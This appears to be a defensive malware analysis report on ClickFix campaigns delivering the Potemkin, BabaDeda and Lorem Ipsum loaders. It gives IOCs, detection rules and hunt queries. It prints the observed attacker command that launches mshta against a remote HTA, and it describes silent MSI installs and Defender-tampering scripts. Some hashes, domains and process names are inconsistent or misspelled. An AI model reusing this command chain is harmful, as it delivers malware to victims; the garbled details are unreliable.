



LOST BOYS CYBER

THREAT INTELLIGENCE • MALWARE ANALYSIS • DETECTION ENGINEERING



ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures

Malware Analysis Report

Classification	TLP:CLEAR
Published	2026-06-17
Version	1.0
Author	Lost Boys Cyber
Report Type	Malware Analysis Report

TLP:CLEAR | Lost Boys Cyber | ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures - Malware Analysis Report

Published: 2026-06-17 | TLP:CLEAR | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, IOCs, detection rules, hunting queries, attribution assessments, and recommendations must be independently reviewed and validated by a qualified security professional before operational use.

Table of Contents

1. Executive Summary
2. Sample Metadata
3. Source Review & Confidence
4. Initial Triage and Delivery Assessment
5. Static Analysis
6. Code Analysis
7. Dynamic Analysis
8. Process Tree and Execution Chain
9. Persistence and System Modification
10. Network and Infrastructure Analysis
11. Indicators of Compromise
12. MITRE ATT&CK Mapping
13. Detection Engineering
14. Threat Hunting
15. Triage and Incident Response
16. Validation and Emulation
17. Recommendations
18. References and Refresh Notes

ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures

1. Executive Summary

ClickFix remains an effective malware-delivery pattern because it turns the user into the initial execution primitive. The 16 June 2026 reporting set reviewed by Lost Boys Cyber describes multiple contemporary ClickFix campaigns delivering BabaDeda Loader, Lorem Ipsum Loader, and Potemkin. These campaigns are not a single malware family; they are a shared social-engineering and loader ecosystem that moves victims from browser lures or fake update prompts into PowerShell, HTA, MSI, Node.js, DLL side-loading, in-memory loading, and follow-on RAT or stealer payloads.

The strongest primary evidence in this review comes from Morphisec's BabaDeda loader analysis, Huntress's Potemkin/RMMProject incident write-up, and The Hacker News aggregation of Morphisec, BlueVoyant, and Huntress reporting. BlueVoyant primary content was not directly retrievable during this review because the site returned HTTP 403 from the analysis environment, so Lorem Ipsum details are treated as source-reported and corroborated through the The Hacker News article and public search-result summaries rather than independently extracted from the original BlueVoyant page.

The defensive impact is broader than a single endpoint malware event. BabaDeda and Lorem Ipsum emphasize stealthy staging and payload delivery; Potemkin/RMMProject shows what can happen when initial access is not contained: DGA-based command-and-control, reflective module loading, credential theft against Chromium App-Bound Encryption, Chisel tunneling, Defender tampering, Cloudflare tunnel persistence, and lateral movement via WMIExec and SMBExec. Organizations should treat ClickFix detections as likely intrusion leads requiring credential, endpoint, network, and identity scoping, not as isolated user-error events.

Immediate priorities are to block user-launched command chains from browsers and chat/web contexts, alert on pcalua/mshta/curl/msiexec and PowerShell execution patterns associated with ClickFix, inventory hosts with weak endpoint coverage, and hunt for Potemkin artifacts such as RunSearch.exe, %LOCALAPPDATA%\hyper-v.ver, cpp-httpplib/0.12.1 probes, and /api/client_hello requests to .xyz domains.

2. Sample Metadata

No victim sample was provided to Lost Boys Cyber for local detonation. This report is a source-backed malware-analysis assessment of the public campaign reporting and recovered indicators disclosed by the cited vendors.

Field	Value
Report ID	LBC-MA-2026-022
Reported Families / Components	BabaDeda Loader, Storage Crypter, Lorem Ipsum Loader, Lorem Ipsum Backdoor, Potemkin, RMMProject, EtherRAT, DanaBot, SectopRAT / ArechClient
Malware Type	Loader, crypter, backdoor, remote access trojan, information stealer, ransomware-enablement tooling
Platform	Windows primary; ClickFix also remains active against macOS users in adjacent reporting
Primary Sample SHA256	Potemkin RunSearch.exe: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b
Additional Hashes	RMMProject avast_update.bin: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce; ABE helper DLL: cd4e5e2c65b1660470d3446539ee68adf5faeece3eae46583623be9

	911ee145; inst24.msi: 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197e e9e089b; cons_1.0.1.msi: 2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc3 0d0b0ce3a
File Type / Format	PowerShell, HTA, MSI, ZIP archive, Windows PE DLL/EXE, JavaScript payloads, Node.js runtime-assisted payloads
Delivery Theme	ClickFix fake browser/security/update instructions; compromised WordPress lures; fake Edge security update; MSI/installer packages
First Seen / Reported	BabaDeda campaigns observed April 2026; Lorem Ipsum active since at least February 2026; Potemkin activity detected May/June 2026
Analyst Confidence	Medium-High for campaign-level tradecraft; High for Huntress-disclosed Potemkin indicators; Medium for unextracted BlueVoyant-only details
Primary Objective	Initial access, payload staging, credential theft, remote control, post-exploitation access, and ransomware-path enablement

3. Source Review & Confidence

Source	Contribution	Confidence
The Hacker News, 16 June 2026	Aggregates the campaign narrative across Morphisec, BlueVoyant, and Huntress and provides the cross-family ClickFix framing	Medium
Morphisec BabaDeda Loader PDF	Primary detail for BabaDeda loader architecture, April 2026 targeting, ClickFix staging, external payload storage, and in-memory execution	High
Huntress Potemkin/RMMProject analysis	Primary detail for HTA/MSI delivery, Potemkin internals, DGA behavior, RMMProject capabilities, intrusion actions, and IOCs	High
BlueVoyant Lorem Ipsum reporting	Primary-source page existed but returned HTTP 403 to this environment; details were reviewed through THN quotes and search-result snippets	Medium
Lost Boys Cyber local validation	Downloaded and converted Morphisec PDF; retrieved Huntress page text; extracted THN article text; no malware sample detonated	Medium-High

Observed facts include the Huntress Potemkin file hashes, paths, IPs, domains, Ethereum contract/storage key values, and infection command; the Morphisec BabaDeda architecture and April 2026 education/finance targeting; and the THN-reported summary of Lorem Ipsum's ClickFix pivot. Assessment-level statements include grouping these loaders as a shared ClickFix defensive problem and treating ClickFix execution as a probable broader intrusion lead. Open questions remain around the full

set of Lorem Ipsum indicators, current live infrastructure, and whether every listed component is active in all geographies or sectors.

4. Initial Triage and Delivery Assessment

The reviewed campaigns use ClickFix-style instructions that persuade a user to paste attacker-supplied commands into Windows Run, PowerShell, Terminal, or similar trusted execution surfaces. This delivery style intentionally bypasses attachment scanning and code-signing dependency by placing execution in a user-approved command path.

Variant / Artefact	Delivery Role	Notes
BabaDeda Loader	ClickFix-delivered loader/crypter chain	Uses hidden PowerShell, shellcode staging, Donut-style and pe2shc-style in-memory loading, DLL side-loading, external payload storage, and callback-based execution.
Storage Crypter	Staged loader component in BabaDeda chain	Stores payload material in external files such as List.Control.dat and decodes it shortly before execution to reduce static visibility.
Lorem Ipsum Loader	ClickFix/fake Edge update loader and backdoor chain	Uses compromised WordPress lures, ZIP download, outdated Node.js 7.10.1 runtime, JavaScript payloads, batch persistence, and DLL side-loading through mscoree.dll or msvcp140.dll.
Potemkin	Custom x64 loader delivered by MSI and HTA chain	Installed through pcalua.exe to mshta.exe remote HTA, curl download of inst24.msi, silent msixexec install, RunSearch.exe persistence, DGA C2 discovery, and reflective follow-on module loading.
RMMProject	Follow-on Lua-scriptable RAT module	Enables remote screen control, browser credential theft, Chromium App-Bound Encryption bypass support, arbitrary Lua execution, screenshots, and task dispatching.
EtherRAT	Additional Node.js backdoor/RAT	Resolved C2 through Ethereum blockchain data and was deployed across more than 11 hosts in the Huntress incident.

The most important triage observation is the operational handoff from social engineering to durable access. In the Potemkin case, the initial ClickFix command was only the first step. The later activity included Defender exclusion/tamper attempts, Chisel reverse SOCKS tunneling, Cloudflare tunnel persistence, domain-controller access, and lateral propagation.

5.1 File and Build Characteristics

No local malware sample was supplied; static findings are therefore derived from vendor-disclosed reverse-engineering and indicators.

Static Signal	Evidence	Analyst Value
---------------	----------	---------------

Potemkin x64 Windows loader	Huntress tracked RunSearch.exe with SHA256 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b	Stable hash and filename for retrohunt and blocklisting where environment impact permits.
WiX MSI installer	inst24.msi with SHA256 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b	Delivery package context links msixexec silent installation to RunSearch persistence.
RMMProject DLL	avast_update.bin with SHA256 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce and TLSDataStart export	DLL export and hash support memory/module detections and reverse-engineering pivoting.
Potemkin DGA dictionary	1,000 encrypted English words with XorShift32 selection and .xyz output	Network detections can look for high-volume candidate .xyz probing and cpp-httpplib user agent.
Selective custom byte cipher	Potemkin encrypts /api/client_hello, ok token, .xyz suffix, test_agent, and DGA words but leaves some tasking paths in plaintext	Mixed encrypted/plaintext design gives static signatures and behavioral hooks.
BabaDeda modular staging	Morphisec reported hidden PowerShell, shellcode staging, in-memory loaders, DLL side-loading, and external payload containers	Prevents overreliance on single-file static detection; supports chain-based analytics.
Lorem Ipsum Node.js dependency	THN/BlueVoyant reporting describes outdated Node.js 7.10.1 downloaded with a ZIP chain	Unusual legacy Node runtime execution on endpoints is high-value telemetry.

5.2 Strings, Imports, and Embedded Artefacts

Potemkin disclosed strings and artifacts include /api/client_hello, /tasks/get_worker, /tasks/collect, /avast_update, loader_id, test_agent, cpp-httpplib/0.12.1, %LOCALAPPDATA%\hyper-v.ver, %TEMP%\dll_debug.log, TLSDataStart, and log prefixes such as [DNS], [Chan], and [Agent]. RMMProject string indicators disclosed by Huntress include [RTSC] OpenInputSocket: sending session_id=, kCookies: total_cookies=, and GetChromiumKey.

BabaDeda/Storage Crypter artifacts include externally stored payload material such as List.Control.dat, legitimate-looking installer wrappers, and downstream payloads including .NET backdoor/stealer components, DanaBot, and SectopRAT. Lorem Ipsum artifacts include fake Edge update lures, ZIP archives, Node.js 7.10.1, JavaScript payloads, batch persistence scripts, and side-loaded mscoree.dll or msvcp140.dll.

5.3 Static Configuration Clues

Potemkin writes a unique victim UUID to %LOCALAPPDATA%\hyper-v.ver and verifies it with the C2. It generates up to 10,000 candidate .xyz domains from a built-in dictionary using seed 151678 and probes /api/client_hello on port 443 until the response contains the ok token. The disclosed live DGA examples include pestrear-lamp[.]xyz, uglyshop-mare[.]xyz, rule-bead-dust[.]xyz, anus-staylard[.]xyz, and fair-bath-fond[.]xyz.

EtherRAT configuration pivots include Ethereum contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, storage key 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893, and build ID ab653feb-9e78-4578-87ed-2e30329fe858.

6.1 Reverse-Engineering Method

Lost Boys Cyber did not receive binaries for local Ghidra or sandbox work. This code-analysis section is based on extracted vendor reverse-engineering evidence: Morphisec's BabaDeda PDF, Huntress's Potemkin/RMMProject analysis, and THN's BlueVoyant excerpts. Claims below are scoped accordingly and should be refreshed if samples become available.

6.2 Functions and Logic of Interest

Function / Routine	Evidence	Why It Matters
ClickFix command execution	Huntress observed cmd /min /c using pcalua.exe to launch mshta.exe against hxxps://cl.distribovagas.com/hte[.]hta	Abuse of trusted Windows utilities provides early, high-signal telemetry before payload installation.
HTA downloader	The HTA hides its window, uses WScript.Shell to run curl, downloads sonra.eutialyson[.]com/inst24.msi, and runs msixexec /qn	Links browser social engineering to silent MSI installation.
Potemkin DGA resolver	Generates 10,000 candidate .xyz domains from 1,000 encrypted words and checks /api/client_hello for ok	Enables C2 resilience; provides network hunt patterns.
Potemkin identity channel	Writes or verifies UUID in %LOCALAPPDATA%\hyper-v.ver through /api/client/new and /api/client/verify	Host artifact survives across executions and supports triage scoping.
Potemkin task polling	Polls tasking endpoints and retrieves follow-on DLL through /avast_update	Supports C2/tasking detections and reverse-engineering pivots.
Reflective DLL loading	Potemkin reflectively maps follow-on modules in memory; Morphisec also reported Donut/pe2shc-style in-memory loading in BabaDeda	Reduces file artifacts and increases need for memory/process telemetry.
RMMProject task dispatcher	Lua-scriptable DLL with 15 task types including browser data theft, screenshots, arbitrary Lua, process/file execution, and module downloads	Defines post-compromise capability and response severity.
Chromium ABE bypass support	RMMProject uses an embedded helper DLL injected into Chrome/Edge to access IElevator COM-backed cookie key material	Elevates credential-theft risk even on modern Chromium-protected systems.
Lorem Ipsum backdoor retrieval	BlueVoyant/THN describe C2 obtained from attacker-controlled social networking profiles and retrieval of next-stage backdoor	Infrastructure may be mutable and harder to block by static domain alone.

6.3 Anti-Analysis, Evasion, and Obfuscation

BabaDeda profiles hosts, avoids Russian and Belarusian systems, performs security product checks, and injects payloads into trusted Windows processes such as svchost.exe. Storage Crypter hides payload material in external storage-like containers and decodes it only immediately before execution, reducing forensic and pre-execution detection opportunities.

Potemkin uses encrypted DGA dictionary strings, encrypted probe path/token values, a custom byte-level cipher, DGA-based C2 discovery, and reflective in-memory module loading. The Huntress intrusion also included Defender policy disable scripts, Set-MpPreference changes, direct service-stop attempts against WinDefend, wscsvc, and SecurityHealthService, Chisel tunneling, and Cloudflare tunnel persistence.

Lorem Ipsum minimizes code-signing dependency after disruption of the Forging Marauder/Fox Tempest malware-signing-as-a-service supply chain by moving to ClickFix lures and legacy Node.js-assisted execution. That pivot is strategically important: it reduces reliance on signed installers and increases reliance on social engineering and script/runtime telemetry.

7.1 Execution Overview

The clearest dynamic chain comes from Huntress. A user visited a compromised website and executed a Windows Run command. The command launched pcalua.exe, proxied mshta.exe, retrieved hte.hta, downloaded inst24.msi from sonra.eutialyson[.]com, and installed Potemkin as RunSearch.exe under the user's LocalAppData Microsoft RunSearch path. The MSI registered HKCU Run persistence.

After installation, Potemkin generated DGA candidate domains, probed /api/client_hello over port 443 with cpp-httpplib/0.12.1, established or verified a UUID in %LOCALAPPDATA%\hyper-v.ver, polled for tasks, fetched a follow-on DLL through /avast_update, and reflectively loaded RMMProject. The operator later deployed EtherRAT, Chisel, Cloudflare tunnels, and scripts to disable or weaken Defender.

7.2 Filesystem, Registry, Service, and Task Changes

Artifact	Type	Observed Role	Confidence
C:\Users\<user>\AppData\Local\Microsoft\RunSearch\RunSearch.exe	File	Potemkin loader dropped by MSI	High
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch	Registry Run key	MSI AutostartRegistry persistence	High
%LOCALAPPDATA%\hyper-v.ver	File	Potemkin host UUID storage	High
%TEMP%\dll_debug.log	File	Local debug log when DLL fetch fails	High
C:\Windows\Temp\D0OK1nWwId9W.ps1	File	First malicious PowerShell dropped; content unrecovered	High
C:\Windows\Temp\lQhEQui9a4lZ.exe	File	Chisel client	High
C:\ProgramData\p\O67tak2KFRmJ.ps1	File	In-memory reflective loader script	High
C:\ProgramData\p\J6Gupb9TpYNl.ps1	File	Chisel download script	High
C:\ProgramData\p\fsjH6IHuUkh.ps1	File	AMSI bypass, Defender registry policy disable, reflective Chisel load	High
C:\ProgramData\p\ek_kill_av.ps1	File	Defender kill script using policy, Set-MpPreference, and service-stop attempts	High

7.3 Network and Command-and-Control Behaviour

Potemkin's network behavior includes DGA-driven HTTPS probing of .xyz domains on port 443, a fixed /api/client_hello liveness check, cpp-httpplib/0.12.1 User-Agent, JSON-style ok responses, UUID registration/verification endpoints, task

polling, and DLL retrieval from /avast_update. Huntress observed 77.110.122[.]58 as primary C2/staging, 213.165.41[.]26 as a Chisel reverse SOCKS server, anus-staylard[.]xyz as Potemkin/RMMProject C2, and resumeacceptable[.]com as EtherRAT C2 resolved from blockchain.

Lorem Ipsum uses attacker-controlled social networking profiles as C2 discovery points for the next-stage backdoor. BabaDeda chains retrieve main payloads after host profiling and may inject into svchost.exe or use externally stored payload material.

7.4 Observed Capability Summary

Capability	Supporting Dynamic Evidence
User-driven execution	ClickFix Win+R/paste command pattern; pcalua.exe to mshta.exe remote HTA
Silent installation	curl download and msixexec /qn of inst24.msi
Persistence	HKCU RunSearch Run key and RunSearch.exe installation path
C2 discovery	Potemkin DGA, /api/client_hello probe, cpp-httpplib/0.12.1 user agent
Credential theft	RMMProject browser-data tasks and Chromium ABE helper DLL
Remote control	RMMProject hidden-desktop/screen-control capability and EtherRAT deployment
Defense evasion	Defender exclusion/policy/service disable scripts, AMSI bypass script, in-memory loading
Lateral movement	WMIExec and SMBExec usage reaching domain controller and spreading EtherRAT
Persistent access	Cloudflare tunnel and Chisel reverse SOCKS tunnel deployment

8. Process Tree and Execution Chain

Step	Parent Process	Child / Action	Why It Matters
1	Browser / user interaction	User follows ClickFix prompt and opens Windows Run	Earliest opportunity for awareness training and browser-to-command telemetry.
2	cmd.exe	cmd /min /c pcalua.exe -a mshta.exe -c hxxps://cl.distribogas.com/hte[.]hta	pcalua and mshta pairing is abnormal and high signal.
3	pcalua.exe	Proxies mshta.exe execution	LOLBIN use may evade simplistic parent/child controls.
4	mshta.exe	Executes remote HTA hte.hta	Remote HTA execution should be rare in managed environments.
5	mshta.exe / WScript.Shell	Runs curl to retrieve inst24.msi from sonra.eutialyson[.]com	Bridges script execution to payload staging.
6	msiexec.exe	Silent install with /qn	Installer-level quiet execution

			drops Potemkin.
7	MSI custom action / install	Drops RunSearch.exe and creates HKCU RunSearch	Establishes user-level persistence.
8	RunSearch.exe	DGA probing, UUID file creation, task polling	Marks active Potemkin compromise.
9	RunSearch.exe	Retrieves /avast_update and reflectively loads RMMProject	Follow-on module loaded in memory reduces file evidence.
10	Operator activity	Defender tampering, Chisel, Cloudflare tunnel, WMIExec/SMBExec, EtherRAT	Escalates from malware execution to hands-on intrusion and domain-wide risk.

9. Persistence and System Modification

Modification Type	Artefact	Evidence	Confidence
User Run key	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe	Huntress Potemkin MSI analysis	High
Loader installation folder	C:\Users\<user>\AppData\Local\Microsoft\RunSearch\RunSearch.exe	Huntress IOC table	High
Victim UUID	%LOCALAPPDATA%\hyper-v.ver	Potemkin channel component writes and reuses UUID	High
Debug artifact	%TEMP%\dll_debug.log	Potemkin logs DLL-fetch failure locally	High
Defender weakening	Defender registry policy scripts, Set-MpPreference toggles, service-stop attempts	Huntress described scripts under C:\ProgramData\p	High
Tunnel persistence	Cloudflare tunnel and Chisel reverse SOCKS	Huntress incident narrative	High
JavaScript/DLL chain persistence	Lorem Ipsum batch script launches DLL side-loading chain	THN/BlueVoyant reporting	Medium

Persistence response should include both malware eradication and operator-access removal. Removing RunSearch.exe alone is insufficient if Chisel, Cloudflare tunnels, EtherRAT, disabled Defender settings, or stolen credentials remain active.

10. Network and Infrastructure Analysis

IOC / Infrastructure	Type	Role	Stability / Confidence
----------------------	------	------	------------------------

77.110.122[.]58	IP	Primary Potemkin/RMMProject C2 or staging in Huntress incident	Medium stability / High confidence
213.165.41[.]26	IP	Chisel reverse SOCKS server	Medium stability / High confidence
cl.distribovagas[.]com	Domain	ClickFix HTA domain	Low-Medium stability / High confidence
sonra.eutialyson[.]com	Domain	MSI download domain	Low-Medium stability / High confidence
anus-staylard[.]xyz	Domain	Potemkin/RMMProject C2 resolved by DGA	Low stability / High confidence
resumeacceptable[.]com	Domain	EtherRAT C2 resolved from blockchain	Low-Medium stability / High confidence
pestrear-lamp[.]xyz	DGA example	Potemkin candidate domain	Low stability / Medium confidence
uglyshop-mare[.]xyz	DGA example	Potemkin candidate domain	Low stability / Medium confidence
rule-bead-dust[.]xyz	DGA example	Potemkin candidate domain	Low stability / Medium confidence
fair-bath-fond[.]xyz	DGA example	Potemkin candidate domain	Low stability / Medium confidence
0xb3f2897f2bc797e5b9033faef8c81e92b01cb831	Ethereum contract	EtherRAT C2 resolution pivot	Medium stability / High confidence
0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893	Storage key	EtherRAT blockchain storage key	Medium stability / High confidence

The Potemkin DGA design makes blocklists incomplete by default. Defenders should combine known domain blocking with detection of process lineage, DGA-like .xyz probing, cpp-http/0.12.1 User-Agent, and /api/client_hello requests. For EtherRAT, blockchain-resolved C2 means response teams should inspect application logs and EDR telemetry rather than assuming DNS-only visibility is sufficient.

11. Indicators of Compromise

Machine-readable indicators were also written to iocs.csv in the canonical report folder.

IOC Type	Example / Count	Source	Operational Notes
SHA256	5 disclosed hashes	Huntress	High-confidence Potemkin, RMMProject, ABE helper, MSI, and EtherRAT delivery hashes.
Domain	8 disclosed or example domains	Huntress / THN	Treat DGA examples as hunt pivots; live infrastructure may rotate.
IP	2 disclosed IPs	Huntress	Primary C2/staging and Chisel

			server in observed intrusion.
File path	11 host paths	Huntress	High-value triage artifacts for Potemkin, Chisel, Defender tampering, and UUID/debug files.
Registry	1 Run key	Huntress	Confirms user-level RunSearch persistence.
Blockchain	1 Ethereum contract and 1 storage key	Huntress	EtherRAT C2 resolution pivots.
Technique artifact	List.Control.dat, Node.js 7.10.1, mscoree.dll/msvc140.dll side-load	Morphisec / THN / BlueVoyant	Useful for behavioral hunting when exact samples are unavailable.

Priority indicators for immediate enterprise hunting are RunSearch.exe, HKCU RunSearch, %LOCALAPPDATA%\hyper-v.ver, /api/client_hello, cpp-http1ib/0.12.1, suspicious mshta launched through pcalua, ms1exec /qn after script download, and Defender tampering scripts under C:\ProgramData\p.

12. MITRE ATT&CK Mapping

Technique	Name	Evidence
T1566.002	Phishing: Spearphishing Link	ClickFix lures and compromised websites instruct users to run commands.
T1204.002	User Execution: Malicious File	User executes attacker-provided Run/PowerShell/Terminal commands.
T1059.001	Command and Scripting Interpreter: PowerShell	BabaDeda and Potemkin chains use PowerShell staging and Defender-tamper scripts.
T1059.007	Command and Scripting Interpreter: JavaScript	Lorem Ipsum ZIP chain executes JavaScript payloads using Node.js.
T1218.005	System Binary Proxy Execution: Mshta	Huntress observed pcalua.exe launching mshta.exe against remote HTA.
T1218	System Binary Proxy Execution	pcalua.exe and mshta.exe abused as trusted Windows utilities.
T1105	Ingress Tool Transfer	curl/MSI downloads, /avast_update DLL retrieval, Chisel and module downloads.
T1574.002	Hijack Execution Flow: DLL Side-Loading	BabaDeda and Lorem Ipsum side-loading; mscoree.dll/msvc140.dll reported.
T1620	Reflective Code Loading	Potemkin and BabaDeda load follow-on modules in memory.
T1027	Obfuscated Files or Information	Potemkin encrypted strings/DGA dictionary; Storage Crypter external containers.
T1497	Virtualization/Sandbox Evasion	BabaDeda profiling, locale/geography

		avoidance, and security-product checks.
T1055	Process Injection	BabaDeda injects into trusted Windows processes such as svchost.exe.
T1547.001	Boot or Logon Autostart Execution: Registry Run Keys	Potemkin MSI creates HKCU RunSearch persistence.
T1005	Data from Local System	RMMProject file and browser data collection capabilities.
T1555.003	Credentials from Web Browsers	RMMProject browser credential and cookie theft, Chromium ABE bypass helper.
T1113	Screen Capture	RMMProject screenshot and remote screen-control functionality.
T1021.002	Remote Services: SMB/Windows Admin Shares	SMBExec lateral movement in Huntress incident.
T1047	Windows Management Instrumentation	WMIExec lateral movement in Huntress incident.
T1090	Proxy	Chisel reverse SOCKS tunnel.
T1572	Protocol Tunneling	Cloudflare tunnel used for persistent access.
T1562.001	Impair Defenses: Disable or Modify Tools	Defender policy/service tampering and Set-MpPreference changes.
T1486	Data Encrypted for Impact	Lorem Ipsum ecosystem is linked to Rapid Brigantine / Vanilla Tempest ransomware deployments, primarily Rhysida, as a downstream risk.

13.1 Detection Logic Summary

Signal	Telemetry Source	Analytic Goal	Tuning Notes
pcalua.exe launching mshta.exe with remote URL	Windows process creation / EDR	Detect ClickFix-to-HTA execution path	Rare in normal enterprise use; tune known accessibility or legacy installer workflows.
mshta.exe, powershell.exe, or cmd.exe launching curl and msixexec /qn	Process creation / command line	Detect staged MSI install after script execution	Allow known software deployment systems; require internet URL or user profile path context.
RunSearch.exe under LocalAppData with HKCU Run key	File, registry, process	Detect Potemkin persistence	High confidence if combined with hash or suspicious parent lineage.
/api/client_hello with cpp-httpplib/0.12.1 to .xyz domain	Proxy, firewall, EDR network	Detect Potemkin DGA liveness probe	cpp-httpplib may have benign developer use; prioritize non-developer endpoints and user-launched parents.
%LOCALAPPDATA%\hyper-	File telemetry	Detect Potemkin UUID artifact	Path/name combination is

v.ver			unusual; investigate any hit.
Defender tampering scripts and service stops	PowerShell, registry, service events	Detect post-compromise defense evasion	Map to local admin maintenance exceptions; escalate on user endpoints.
Chromium IElevator / browser key access plus injected helper DLL	EDR, module load, browser process telemetry	Detect RMMProject App-Bound Encryption bypass behavior	Requires modern EDR visibility; treat as high-severity credential theft.

13.2 Detection Content

title: ClickFix Pcalua Proxy Execution Of Remote HTA id: 42cbf8d4-0a5f-4d0f-b9bf-clickfix-hta-001 status: experimental description: Detects a ClickFix-style command pattern where pcalua.exe is used to proxy mshta.exe execution against a remote HTA payload. author: Lost Boys Cyber date: 2026-06-16 references: - https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack - https://thehackernews.com/2026/06/clickfix-campaigns-expand-malware.html logsource: product: windows category: process_creation detection: selection_parent: Image endswith: '\\pcalua.exe' CommandLine contains all: - 'mshta.exe' - 'http' selection_child: Image endswith: '\\mshta.exe' CommandLine contains: - 'http://' - 'https://' condition: selection_parent or selection_child fields: - UtcTime - User - Image - ParentImage - CommandLine - ParentCommandLine falsepositives: - Rare legacy compatibility workflows; validate approved enterprise application packages. level: high tags: - attack.t1204.002 - attack.t1218.005	title: Potemkin RunSearch Persistence Artifact id: 11f9f39b-6f0b-4e9e-9bb6-potemkin-runsearch-001 status: experimental description: Detects Potemkin loader persistence via RunSearch.exe and HKCU Run key based on Huntress reporting. author: Lost Boys Cyber date: 2026-06-16 logsource: product: windows category: registry_set detection: selection: TargetObject contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\RunSearch' condition: selection
--	---

```

fields:
- UtcTime
- User
- Image
- TargetObject
- Details
falsepositives:
- Unknown; RunSearch under HKCU Run should be uncommon.
level: high
tags:
- attack.t1547.001

rule LBC_Potemkin_RMMPProject_Disclosed_Strings_Jun2026 {
  meta:
    author = "Lost Boys Cyber"
    description = "Detects disclosed Potemkin/RMMPProject strings from Huntress June 2026 reporting"
    date = "2026-06-16"
    reference = "https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack"
    confidence = "medium"
  strings:
    $p1 = "/api/client_hello" ascii wide
    $p2 = "/tasks/get_worker" ascii wide
    $p3 = "/tasks/collect" ascii wide
    $p4 = "/avast_update" ascii wide
    $p5 = "test_agent" ascii wide
    $p6 = "loader_id" ascii wide
    $p7 = "cpp-httpplib/0.12.1" ascii wide
    $p8 = "hyper-v.ver" ascii wide
    $r1 = "[RTSC] OpenInputSocket: sending session_id=" ascii wide
    $r2 = "kCookies: total_cookies=" ascii wide
    $r3 = "GetChromiumKey" ascii wide
  condition:
    uint16(0) == 0x5A4D and (4 of ($p*) or 2 of ($r*))
}

// Microsoft Defender XDR: ClickFix-to-HTA/MSI execution chain
DeviceProcessEvents
| where Timestamp > ago(30d)
| where
  (FileName =~ "pcalua.exe" and ProcessCommandLine has "mshta" and ProcessCommandLine has_any
("http://", "https://"))
  or (FileName =~ "mshta.exe" and ProcessCommandLine has_any ("http://", "https://", ".hta"))
  or (FileName =~ "msiexec.exe" and ProcessCommandLine has "/qn" and InitiatingProcessFileName in~
("mshta.exe", "powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine, ReportId

// Microsoft Defender XDR: Potemkin artifacts and DGA/C2 behavior
let PotemkinHashes = dynamic([
"2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b",
"3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce",
"cd4e5e2c65b1660470d3446539ee68adf5faeece3eae646583623be9911ee145",
"79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b",
"2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc30d0b0ce3a"
]);
DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA256 in~ (PotemkinHashes)
  or FolderPath has_any ("RunSearch.exe", "hyper-v.ver", "dll_debug.log", "C:\\ProgramData\\p\\")
| project Timestamp, DeviceName, InitiatingProcessAccountName, ActionType, FolderPath, FileName,
SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine

```

13.3 Detection Validation and Blind Spots

The pcalua/mshta and RunSearch registry detections are directly tied to Huntress-observed Potemkin telemetry and should be high priority. YARA coverage is medium confidence because it depends on disclosed strings and may miss recompiled or encrypted variants. Network detections for /api/client_hello and cpp-httpplib/0.12.1 are useful but require proxy, TLS inspection, or EDR network metadata; encrypted TLS without SNI/path visibility may hide the path.

Defenders should not treat absent hashes as clean status. BabaDeda and Lorem Ipsum are modular ecosystems with payload flexibility, external containers, and mutable infrastructure. Chain-based detections should be prioritized over static IOC-only coverage.

14.1 Hunt Hypotheses

- A user endpoint that executed a ClickFix command will show browser-to-command lineage followed by pcalua, mshta, PowerShell, curl, msiexec, Node.js, or script-host execution within a short window.
- Potemkin-compromised hosts will contain RunSearch persistence, %LOCALAPPDATA%\hyper-v.ver, suspicious .xyz domain probing, cpp-httpplib/0.12.1 traffic, or /api/client_hello requests.
- RMMProject/EtherRAT post-exploitation will show credential theft, browser process access, Defender tampering, Chisel or Cloudflare tunnel deployment, and lateral movement via WMIExec/SMBExec.
- Lorem Ipsum ClickFix infections may show fake Edge-update ZIP extraction, legacy Node.js 7.10.1 execution from user-writable paths, JavaScript payloads, batch persistence, and DLL side-loading of mscoree.dll or msvcp140.dll.

14.2 Hunt Queries

```
// Hunt 1: Browser or chat/email process leading to command execution and MSI/script staging
let SuspiciousChildren = dynamic(["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe",
"cscrip.exe", "pcalua.exe", "msiexec.exe", "node.exe"]);
let UserFacingParents = dynamic(["chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "opera.exe",
"teams.exe", "outlook.exe", "discord.exe", "slack.exe"]);
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ (SuspiciousChildren)
| where InitiatingProcessFileName in~ (UserFacingParents)
  or InitiatingProcessParentFileName in~ (UserFacingParents)
  or ProcessCommandLine has_any ("Win+R", "mshta", "curl", "iex", "iwr", "msiexec /qn", ".hta",
